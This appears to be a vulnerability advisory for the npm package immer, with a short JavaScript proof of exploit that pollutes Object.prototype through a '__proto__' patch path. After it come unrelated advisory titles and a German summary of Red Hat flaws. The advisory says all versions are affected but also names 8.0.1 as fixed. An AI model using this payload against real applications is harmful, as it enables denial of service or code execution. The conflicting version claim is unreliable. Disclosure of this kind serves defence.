This affects all versions of package immer.

Affected: npm: immer

## Overview

Affected versions of immer are vulnerable to Prototype Pollution.

## Proof of exploit

```js const {applyPatches, enablePatches} = require("immer"); enablePatches(); let obj = {}; console.log("Before : " + obj.polluted); applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]); // applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]); console.log("After : " + obj.polluted); ```

## Remediation

Version 8.0.1 contains a [fix](https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5) for this vulnerability, updating is recommended.

nodejs-bootstrap-select: not escaping title values on <option> may lead to XSS m2crypto: bleichenbacher timing attacks in the RSA decryption API datatables.net: prototype pollution if 'constructor' were used in a data property name nodejs-immer: prototype pollution may lead to DoS or remote code execution

Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in der Red Hat Virtualization Engine ausnutzen, um einen Cross-Site Scripting Angriff durchzuführen, beliebigen Code auszuführen, einen Denial of Service Zustand auszulösen und kryptographische Maßnahmen zu umgehen.